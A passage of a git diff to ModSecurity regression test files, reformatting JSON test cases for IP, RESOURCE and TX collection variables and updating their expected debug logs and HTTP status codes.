\"id:1,t:lowercase,block,status:404\"" + "SecRule ARGS:/^id_/ \"@contains test\" \"id:1,phase:2,t:lowercase,initcol:ip=%{REMOTE_ADDR}\"", + "SecRule ARGS:/^id_/ \"@contains test\" \"id:2,phase:2,t:lowercase,setvar:IP.nah=nops\"", + "SecRule IP:/id_a$/ \"rx .\" \"id:3,phase:2,deny,status:403\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: TX/regular expression (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: TX/regular expression (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?id_a= test &id_b=test2&nah=nops", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?id_a=test&nah=nops", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Saving variable: IP:nah with value: nops", - "error_log":"" + "expected": { + "debug_log": "Saving variable: IP:id_a with value: nops", + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecRule ARGS:/^id_/ \"@contains test\" \"id:1,t:lowercase,initcol:ip=%{REMOTE_ADDR},setvar:IP.id_a=test\"", - "SecRule ARGS:/^id_/ \"@contains test\" \"id:3,t:lowercase,setvar:IP.nah=nops\"", - "SecRule IP:/^id_/ \"@contains test\" \"id:2,t:lowercase,initcol:ip=%{REMOTE_ADDR}\"", - "SecRule IP:/^id_/ \"@contains nops\" \"id:4,t:lowercase,block,status:404\"" + "SecRule ARGS:/^id_/ \"@contains test\" \"id:11,phase:2,t:lowercase,initcol:ip=%{REMOTE_ADDR}\"", + "SecRule ARGS:/^id_/ \"@contains test\" \"id:12,phase:2,t:lowercase,setvar:IP.id_a=nops\"", + "SecRule IP:/id_a$/ \"@contains nops\" \"id:13,phase:2,deny,status:403\"" ] } ] diff --git a/test/test-cases/regression/collection-resource.json b/test/test-cases/regression/collection-resource.json index b73d00cb14..c89ba570c8 100644 --- a/test/test-cases/regression/collection-resource.json +++ b/test/test-cases/regression/collection-resource.json @@ -1,49 +1,52 @@ [ { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: RESOURCE (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: RESOURCE (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?resource=whee", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?resource=whee", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" }, - "body":[ + "body": [ + "" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"123\" \\(Variable: RESOURCE:whee::::test\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"123\" \\(Variable: RESOURCE:whee::::test\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:resource \"@unconditionalmatch \" \"phase:2,pass,initcol:resource=%{ARGS.resource},id:900003\"", "SecRule ARGS:resource \"@unconditionalmatch \" \"phase:2,pass,setvar:resource.test=123,id:900000\"", @@ -52,50 +55,53 @@ ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: RESOURCE (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: RESOURCE (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?resource=whee", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?resource=whee", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" }, - "body":[ + "body": [ + "" ] }, - "expected":{ - "audit_log":"", - "debug_log":"RESOURCE:whee::webappid::test", - "error_log":"" + "expected": { + "debug_log": "RESOURCE:whee::webappid::test", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecWebAppId webappid", "SecRule ARGS:resource \"@unconditionalmatch \" \"phase:2,pass,initcol:resource=%{ARGS.resource},id:900003\"", diff --git a/test/test-cases/regression/collection-tx-with-macro.json b/test/test-cases/regression/collection-tx-with-macro.json index a0173b6bb6..7ceafcbe8f 100644 --- a/test/test-cases/regression/collection-tx-with-macro.json +++ b/test/test-cases/regression/collection-tx-with-macro.json @@ -1,173 +1,179 @@ [ { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: TX (with macro) (1/4)", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: TX (with macro) (1/4)", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120\" \\(Variable: TX:something\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120\" \\(Variable: TX:something\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,setvar:TX.something=%{REQUEST_HEADERS:Cookie}%\"", "SecRule TX \"@contains to_test\" \"id:2,t:lowercase,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: TX (with macro) (2/4)", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: TX (with macro) (2/4)", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"1\" \\(Variable: TX:somethingPHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"1\" \\(Variable: TX:somethingPHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,setvar:TX.something%{REQUEST_HEADERS:Cookie}%\"", "SecRule TX \"@contains to_test\" \"id:2,t:lowercase,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: TX (with macro) (3/4)", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: TX (with macro) (3/4)", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"310\" \\(Variable: TX:something\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"310\" \\(Variable: TX:something\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,setvar:TX.something=%{REQUEST_HEADERS:Keep-Alive}%\"", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:2,t:lowercase,t:none,setvar:TX.something=+10\"", @@ -175,58 +181,60 @@ ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: TX (with macro) (4/4)", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: TX (with macro) (4/4)", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"5\" \\(Variable: TX:something_else\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"5\" \\(Variable: TX:something_else\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,setvar:TX.something=+10\"", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:2,t:lowercase,t:none,setvar:TX.something_else=%{tx.something}%\"", diff --git a/test/test-cases/regression/collection-tx.json b/test/test-cases/regression/collection-tx.json index 07099405f7..587fb33053 100644 --- a/test/test-cases/regression/collection-tx.json +++ b/test/test-cases/regression/collection-tx.json @@ -1,212 +1,222 @@ [ - { + { "enabled": 1, - "version_min":300000, - "version_max":0, - "title":"Collection :: TX full vs partial match", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "version_min": 300000, + "version_max": 0, + "title": "Collection :: TX full vs partial match", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Content-Length": "0" }, - "uri":"/", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text/xml; charset=utf-8\n" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n", + "Content-Length": "39" }, - "body":[ + "body": [ "\n" ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_ADDR \"@unconditionalMatch\" \"id:1,deny,setvar:TX.partial_match=1,chain\"", "SecRule TX.partial \"@gt 0\" \"id:2,t:lowercase,t:none,status:444\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: TX (1/4)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: TX (1/4)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"to_test\" \\(Variable: TX:something\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"to_test\" \\(Variable: TX:something\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,setvar:TX.something=to_test\"", "SecRule TX \"@contains to_test\" \"id:2,t:lowercase,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: TX (2/4)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing collection :: TX (2/4)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"Target value: \"1\" \\(Variable: TX:something\\)", - "error_log":"" + "expected": { + "debug_log": "Target value: \"1\" \\(Variable: TX:something\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,setvar:TX.something\"", "SecRule TX \"@contains to_test\" \"id:2,t:lowercase,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing collection :: TX (3/4)", - "client":{ - 